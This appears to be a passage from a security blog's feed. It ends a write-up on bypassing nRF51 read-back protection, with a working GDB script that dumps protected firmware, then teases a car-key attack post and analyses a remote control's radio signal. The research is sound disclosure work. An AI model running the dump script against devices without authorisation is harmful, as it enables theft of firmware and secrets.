&lt;p&gt;Fortunately SWD pins (SWDIO, SWDCLK) are exposed and it was possible to attempt opening a debug interface straight away. However pin distancing was not compatible with any breakout or breadboard I had at home, so I resorted to using some integrated circuit hooks and these ended up working just as fine.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/setup.png#center&#34; alt=&#34;nRF51 board connected&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Dev board connected to debugger&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Once board&amp;rsquo;s pins VCC, GND, SWDIO and SWDCLK are connected to J-Link&amp;rsquo;s corresponding pins it was possible to obtain SWD debug access both with J-Link suite tools and with OpenOCD using the commands:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;openocd -f /usr/share/openocd/scripts/interface/jlink.cfg -c &amp;quot;transport select swd&amp;quot; -f /usr/share/openocd/scripts/target/nrf51.cfg&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;JLinkGDBServer -device nrf51822_XXAA -if SWD&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Personally I&amp;rsquo;m more keen on using OpenOCD for this exploitation specifically because J-Link suite wouldn&amp;rsquo;t allow opening  a GDB connection to nRF51 if the &lt;code&gt;PALL&lt;/code&gt; protection is enabled.&lt;/p&gt;
&lt;p&gt;Once the SWD connection is achieved, we need to flash the device with a custom firmware, to do so I used SEGGER Embedded Studio as it was the fastest way to setup the SDK and toolchain for our target device.&lt;/p&gt;
&lt;p&gt;For this demo a firmware containing a single &lt;code&gt;printf(&amp;quot;SECRET&amp;quot;)&lt;/code&gt; is used and the objective will be to confirm whether the string can still be retrieved with &lt;code&gt;PALL&lt;/code&gt; protection enabled.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/firmware.png#center&#34; alt=&#34;firmware&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Dummy firmware&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Once the firmware is flashed, we can perform a few tests without protection enabled in order to better understand the differences in the behavior of the debugger when the protection is OFF and when it is ON.&lt;/p&gt;
&lt;p&gt;With the GDB server running, we can attempt connecting and reading some memory:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/noprotection.png#center&#34; alt=&#34;no_protection&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Memory read demo - no protection&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;As it is possible to see, bytes are correctly read back from flash memory.
In addition notice how we also read  &lt;code&gt;0xE000ED00 (CPUID)&lt;/code&gt; this register will always be populated with &lt;code&gt;0x410CC200&lt;/code&gt; on nRF51 and the value is readable when &lt;code&gt;PALL&lt;/code&gt; protection is in place as well, rendering it a good reference value for future experiments.&lt;/p&gt;
&lt;p&gt;At this point we can enable the &lt;code&gt;PALL&lt;/code&gt; protection with command &lt;code&gt;nrfjprog --rbp ALL&lt;/code&gt;, reboot the target device and attempt performing the same operations again.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/protection.png#center&#34; alt=&#34;protection_on&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Memory read demo - with protection&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We note how the same addresses come back as &lt;code&gt;0x00000000&lt;/code&gt; when read back.&lt;/p&gt;
&lt;h2 id=&#34;dumping-the-firmware&#34;&gt;Dumping the firmware&lt;/h2&gt;
&lt;p&gt;The exploitation of the vulnerability goes through 2 steps: locating a load instruction and abusing it to read protected memory.&lt;/p&gt;
&lt;p&gt;To achieve the first, it is possible to use GDB to set each register to address &lt;code&gt;0xE000ED00&lt;/code&gt; since it contains a known value. If the instruction PC is pointing is a load, we should find the expected value (&lt;code&gt;0x410CC200&lt;/code&gt;) in one of the registers.&lt;/p&gt;
&lt;p&gt;We will simply need to issue commands:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;set $r0&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r1&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r2&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r3&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r4&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r5&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r6&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r7&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r8&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r9&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r10&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r11&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r12&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0xE000ED00
stepi
info registers
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we will monitor the output of &lt;code&gt;info registers&lt;/code&gt; to see if any of the register gets populated with the expected value.&lt;/p&gt;
&lt;p&gt;That&amp;rsquo;s exactly what happens after a few iterations of this:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/manual_read.png#center&#34; alt=&#34;manual load&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Load instruction found&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We can see that after the execution of instruction at &lt;code&gt;PC=0x82&lt;/code&gt; we have our expected value in register &lt;code&gt;r0&lt;/code&gt;.
Once the load instruction is located, it is necessary to attempt reading bytes from the protected memory.&lt;/p&gt;
&lt;p&gt;So now we populate registers with value &lt;code&gt;0x00000000&lt;/code&gt; and attempt reading that word.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/prot_mem_read.png#center&#34; alt=&#34;protected memory read&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Value read from CR0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;and as expected we are able to read the first byte of protected memory.&lt;/p&gt;
&lt;p&gt;Now it&amp;rsquo;s time to render the exploit practical and to automate the firmware extraction and we can achieve this in several ways, I&amp;rsquo;ve decided to simply script the interaction with GDB commands.
Depending on the exact MCU you&amp;rsquo;re working with, you may encounter different flash sizes. In this case we are working with an &lt;code&gt;nRF51822_XXAA&lt;/code&gt; which is the most commonly available variant of nRF51822 around and features 256kB of flash memory.&lt;/p&gt;
&lt;p&gt;The extraction script will look something like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4&#34;&gt;&lt;code class=&#34;language-shell&#34; data-lang=&#34;shell&#34;&gt;set $i &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
set $end &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; 0x3FFFF
&lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt; $i &amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; $end
  set $pc&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;0x82

  set $r0&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r1&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r2&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r3&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r4&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r5&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r6&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r7&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r8&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r9&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r10&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r11&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$r12&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$i
  stepi

  printf &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0x%08x\n&amp;#34;&lt;/span&gt;, $r0
  set $i&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;$i+4
end
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;and the output on the terminal when the script is executed looks like this:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/auto_read.png#center&#34; alt=&#34;scripted read&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Scripted memory read&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;After letting it run the script will have gone through the entire code space. A simple parser will then be used to cleanup the retrieved data and rebuild the binary file.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For ease of use I&amp;rsquo;ve decided to write a more usable script capable of automatically detecting the load function, dump the firmware and reassemble it to generate a binary output.&lt;/p&gt;
&lt;p&gt;You can find it at: &lt;a href=&#34;https://github.com/0xless/nRF51-RBPCONF-Bypass&#34;&gt;https://github.com/0xless/nRF51-RBPCONF-Bypass&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Once the script has finished running, in under 54 minutes, we get &lt;code&gt;firmware.bin&lt;/code&gt; file:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/time.png#center&#34; alt=&#34;dump complete&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Dump completed in 54 minutes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;And performing &lt;code&gt;xxd&lt;/code&gt; on the extracted firmware allow us to recover out &lt;code&gt;SECRET&lt;/code&gt; value.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/nrf51/extracted_secret.png#center&#34; alt=&#34;secret extracted&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Secret value recovered from firmware&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;This proves the functioning of the exploit and the practicality of this attack.&lt;/p&gt;
&lt;p&gt;The PoC script developed for this attack is far from perfect, it takes a lot of time to execute and the GDB + Python interaction is a bit &amp;ldquo;hacky&amp;rdquo;.  A huge improvement it is possible to make is to aim to find instructions that load more bytes of flash memory to registers; an example would be &lt;code&gt;LDMIA Rn!, {Rlist}&lt;/code&gt; that allow up to 32 bytes loads in a single step. When reading the memory, it is easy to evaluate the OPCODE of the instruction just read, if it&amp;rsquo;s a &lt;code&gt;LDMIA&lt;/code&gt; instruction, then we can edit the PC register value to jump there and attempt exfiltrating memory at higher speed.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ve attempted sketching this using GDB scripting, but as the complexity of the project increased I realized this scripting language was not the tool for the job. For future developments I want to rewrite the whole script in python using library &lt;code&gt;pyswd&lt;/code&gt; which looks promising in handling SWD interactions directly via python, however it is compatible with ST-Link debuggers only (which I don&amp;rsquo;t own).&lt;/p&gt;
&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;
&lt;p&gt;The nRF51’s RBPCONF was designed to keep firmware safe, but not allowing final users to disable debugger access weakens the model. Even under PALL protection, careful register manipulation and instruction reuse make full extraction possible with modest tools.&lt;/p&gt;
&lt;p&gt;In this post we demonstrated how it is possible to do so and walked all the steps needed to discover the issue and replicate the attack.&lt;/p&gt;
</content:encoded>

      </item><item>
        <title>Attacking RKE: How to hack a car open</title>
        <link>https://lessonsec.com/posts/attacking_rke_how_to_hack_a_car_open/</link>
        <guid isPermaLink="true">https://lessonsec.com/posts/attacking_rke_how_to_hack_a_car_open/</guid>
        <pubDate>Fri, 30 Dec 2022 22:30:14 &#43;0100</pubDate><description>I&amp;rsquo;ve always found cybersecurity to be more interesting when implications reflect in the &amp;ldquo;real world&amp;rdquo; and this is the reason hacking physical devices is fun to me. Well, it turns out that the more the hack is controversial, the funnier it is to carry out!</description>
	<content:encoded>&lt;p&gt;I&amp;rsquo;ve always found cybersecurity to be more interesting when  implications reflect in the &amp;ldquo;real world&amp;rdquo; and this is the reason hacking  physical devices is fun to me. Well, it turns out that the more the hack is controversial, the funnier it is to carry out!  For this reason I  got into remote controlled devices hacking, and in particular into car  remotes hacking. A while ago I got all the hardware needed to attempt  attacking these devices, so I could finally attempt some attacks.&lt;/p&gt;
</content:encoded>

      </item><item>
        <title>Analysis of a Remote Control</title>
        <link>https://lessonsec.com/posts/analysis-of-a-remote-control/</link>
        <guid isPermaLink="true">https://lessonsec.com/posts/analysis-of-a-remote-control/</guid>
        <pubDate>Thu, 15 Jul 2021 16:45:40 &#43;0200</pubDate><description>A couple of days ago I found some old remote controls around the house and decided it was time to take out my old RTL-SDR and put it to good use.</description>
	<content:encoded>&lt;p&gt;A couple of days ago I found some old remote controls around the house and decided it was time to take out my old &lt;strong&gt;RTL-SDR&lt;/strong&gt; and put it to good use.
In this article I will describe step-by-step my experience with &lt;em&gt;studying&lt;/em&gt;, &lt;em&gt;reversing&lt;/em&gt; and &lt;em&gt;understanding&lt;/em&gt; these devices.&lt;/p&gt;
&lt;p&gt;In particular the analysis will comprehend:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Analysis of the &lt;strong&gt;board&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Analysis of the &lt;strong&gt;behavior&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Analysis of the &lt;strong&gt;signal&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This will allow to have a complete overview of the remotes.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rc_analysis/complete.jpeg#center&#34; alt=&#34;remote&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Remote to analyze&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;board-analysis&#34;&gt;Board analysis&lt;/h2&gt;
&lt;p&gt;The first thing I did was to operate the remote: of course whenever the yellow button was pressed, the led on its side would light up signaling that everything was working fine. The device could use different communication methods, but since there is no visible IR LED, it is possible to assume that the device works via radio signals.&lt;/p&gt;
&lt;p&gt;The very next step was to open up the remote and visually inspect the board.&lt;/p&gt;
&lt;p&gt;Inside the plastic casing I found this simple PCB.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rc_analysis/pcb.jpg#center&#34; alt=&#34;RC pcb board&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;PCB board&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;At first glance it&amp;rsquo;s possible to notice that there&amp;rsquo;s an &lt;em&gt;antenna&lt;/em&gt;, &lt;em&gt;a crystal oscillator&lt;/em&gt;, a &lt;em&gt;trimmer&lt;/em&gt; an &lt;em&gt;integrated circuit&lt;/em&gt; and of course led, button and battery.
As expected, there&amp;rsquo;s everything needed for a radio transmitter to work.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rc_analysis/clock.jpeg#center&#34; alt=&#34;crystal oscillator&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;30.875MHz oscillator&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Looking at the components further it&amp;rsquo;s possible to gather insights about how the device works.
In particular the oscillator gives away that the device probably operates at &lt;em&gt;30.875MHz&lt;/em&gt; - this isn&amp;rsquo;t what I was expecting.&lt;/p&gt;
&lt;p&gt;In my country, &lt;strong&gt;Short Range Devices&lt;/strong&gt; should work in the ranges:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;27,5000 – 28,0000 MHz&lt;/li&gt;
&lt;li&gt;29,7000 – 30,0050 MHz&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Or, for general purpose applications they can work  in the ranges:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;433,000 – 435,0000 MHz (devices without a specific use)&lt;/li&gt;
&lt;li&gt;862,0000 – 876,0000 MHz (devices without a specific use, wireless audio, alarm systems, social alarms, radio microphones, and RFID devices)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Radio transmitters are not forced to adopt the crystal oscillator frequency as working frequency, in fact it&amp;rsquo;s not uncommon that they use a multiple of such frequency instead. Said that, at this point it&amp;rsquo;s only a guess, but even if it&amp;rsquo;s not in the expected ranges, it&amp;rsquo;s possible that the working frequency of the remote would be around 30.875MHz.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rc_analysis/dip_switch.jpeg#center&#34; alt=&#34;DIP switch&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;10-position DIP switch&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We can also see that there&amp;rsquo;s a 10-position DIP switch.&lt;/p&gt;
&lt;p&gt;The first pin (1) of the DIP switch has written &amp;ldquo;ON&amp;rdquo; on top of it, meaning that the switch closes the circuit when the lever is in the &amp;ldquo;high&amp;rdquo; position.
This component suggests us that the remote sends at least 10 bits of data. I say at least, because it&amp;rsquo;s possible that the device sends preamble/ending bits and/or checksum or parity bits.&lt;/p&gt;
&lt;p&gt;Also, given the position of the switches, it&amp;rsquo;s possible to assume that the code sent by the remote would either be &lt;code&gt;0001000110&lt;/code&gt; or &lt;code&gt;1110111001&lt;/code&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rc_analysis/unknown_ic.jpeg#center&#34; alt=&#34;ITF CIE9101&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;ITF CIE9101 Integrated Circuit&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;On the back of the PCB there&amp;rsquo;s the ITF CIE9101 integrated circuit. Sadly I wasn&amp;rsquo;t able to find any datasheets or information about this component (hit me up if you know something about it!).&lt;/p&gt;
&lt;p&gt;Inspecting the PCB it&amp;rsquo;s possible to see that this device is connected to the DIP switch, to the oscillator and to the antenna. We can make an educated guess and say that this IC is probably responsible for the radio transmission (in future it would be worth reverse engineering this IC to better understand how this device work).&lt;/p&gt;
&lt;h2 id=&#34;behavior-analysis&#34;&gt;Behavior analysis&lt;/h2&gt;
&lt;p&gt;To validate the hypothesis of the device being a radio transmitter, it&amp;rsquo;s fundamental to try to intercept and visualize the communication.&lt;/p&gt;
&lt;p&gt;The goal now is to find the transmitted signal. There is a limited set of possible frequency ranges, but it&amp;rsquo;s not always easy to blindly spot the signal you&amp;rsquo;re looking for, especially in areas in which similar devices are widely employed (think of remote car keys, AC remotes, radio weather stations and so on).&lt;/p&gt;
&lt;p&gt;To figure out the frequency and to work with the raw radio signal I used a Silver dongle &lt;a href=&#34;https://www.rtl-sdr.com/about-rtl-sdr/&#34;&gt;RTL-SDR&lt;/a&gt; and &lt;a href=&#34;https://gqrx.dk/&#34;&gt;gqrx&lt;/a&gt;.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rc_analysis/rtl_antenna.jpeg#center&#34; alt=&#34;rtl-sdr and antenna&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;RTL-SDR and Antenna&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Once &lt;em&gt;gqrx&lt;/em&gt; was open, it was necessary to spot the correct frequency. Since there is a 30.875MHz crystal oscillator in the remote, that was the first frequency I checked. And luckily the signal was right there. Well, for this remote in particular it was at 30.889MHz, but at least we got the working frequency.&lt;/p&gt;
&lt;p&gt;NOTE: I could work with 3 of these remotes, and each one was using a slightly different frequency, that&amp;rsquo;s why it was possible to find the signal at 30.889MHz and not exactly at 30.875MHz. This can depend on a number of factors and it&amp;rsquo;s completely normal.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rc_analysis/gqrx_signal.gif#center&#34; alt=&#34;radio signal&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Signal interception&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Now it&amp;rsquo;s time to analyze the signal.&lt;/p&gt;
&lt;h2 id=&#34;signal-analysis&#34;&gt;Signal analysis&lt;/h2&gt;
&lt;p&gt;What I did at this point was to record the signal in &lt;em&gt;gqrx&lt;/em&gt; to analyze it.
Opening the signal in audacity shows the recorded waveform.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rc_analysis/signal.jpeg#center&#34; alt=&#34;waveform&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Signal waveform&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;We can see noise at the beginning and at the end of the recording, while the center part represent the communication.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s possible to notice immediately that there are numerous spikes, this is due to the fact that I kept the button pressed for a few seconds while recording.
Visually it&amp;rsquo;s possible to say that the spikes are identical, so our scope is limited to understanding what one of these spikes represent.&lt;/p&gt;
&lt;p&gt;Now we need to zoom in on one spike to try and decode the actual digital data.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:center&#34;&gt;&lt;img src=&#34;https://lessonsec.com/images/rc_analysis/signal_zoom.jpeg#center&#34; alt=&#34;zoomed-in waveform&#34;&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:center&#34;&gt;Zoomed waveform&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Of course it&amp;rsquo;s a digital communication and It&amp;rsquo;s now clear that we are dealing with &lt;a href=&#34;https://en.wikipedia.org/wiki/Pulse-width_modulation&#34;&gt;Pulse Width Modulation (PWM)&lt;/a&gt;.
If we look closely at the signal, we can see that there are &amp;ldquo;short&amp;rdquo; and &amp;ldquo;long&amp;rdquo; pulses. Those represent either 1s or 0s depending on the protocol shared by the remote and the receiver.&lt;/p&gt;
&lt;p&gt;Counting the bits reveals that that&amp;rsquo;s more than a simple 10 bit communication. In fact, we are dealing with 14 bits.
If we compare the signal to the position of the switches in the remote, we see that the pattern matches, with the exception of the last 4 bits. These bits (either 0000 or 1111) are trailing bits, needed to signal the end of the communication.&lt;/p&gt;
&lt;p&gt;To prove that the signal actually corresponds to the one encoded by the switch + 4 trailing bits, I&amp;rsquo;m using &lt;code&gt;rtl_433&lt;/code&gt; to read and decode the signal.
So we run &lt;code&gt;rtl_433 -f 30888000 -A&lt;/code&gt; and we get this output:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Attempting demodulation... short_width: 748, long_width: 1516, reset_limit: 5420, sync_width: 0
Use a flex decoder with -X &#39;n=name,m=OOK_PWM,s=748,l=1516,r=5420,g=1556,t=307,y=0&#39;
pulse_demod_pwm(): Analyzer Device
bitbuffer:: Number of rows: 6 
[00] {14} ee 40     : 11101110 010000
[01] {14} ee 40     : 11101110 010000
[02] {14} ee 40     : 11101110 010000
[03] {14} ee 40     : 11101110 010000
[04] {14} ee 40     : 11101110 010000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And we confirm that the signal uses a PWM modulation and is in fact &lt;code&gt;1110111001&lt;/code&gt; followed by &lt;code&gt;0000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To exclude the possibility that the last 4 bits are parity bits, we need to try other configurations in the remote and analyze the signal.
I proceeded to do so and one-by-one I lifted the switches corresponding to the 0s in the signal to see what would change in the transmitted bits.&lt;/p&gt;
&lt;p&gt;Changing bit 9 from 0 to 1 produced the following signal:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[00] {14} ee c0     : 11101110 110000
[01] {14} ee c0     : 11101110 110000
[02] {14} ee c0     : 11101110 110000
[03] {14} ee c0     : 11101110 110000
[04] {14} ee c0     : 11101110 110000
[05] {14} ee c0     : 11101110 110000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Similarly, changing bit 8, produced this signal:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[00] {14} ef c0     : 11101111 110000
[01] {14} ef c0     : 11101111 110000
[02] {14} ef c0     : 11101111 110000
[03] {14} ef c0     : 11101111 110000
[04] {14} ef c0     : 11101111 110000
[05] {14} ef c0     : 11101111 110000
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Finally I changed bit 4 and I decoded signal was:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[00] {14} ff c0     : 11111111 110000
[01] {14} ff c0     : 11111111 110000
[02] {14} ff c0     : 11111111 110000
[03] {14} ff c0     : 11111111 110000
[04] {14} ff c0     : 11111111 110000
[05] {14} ff c0     : 11111111 110000
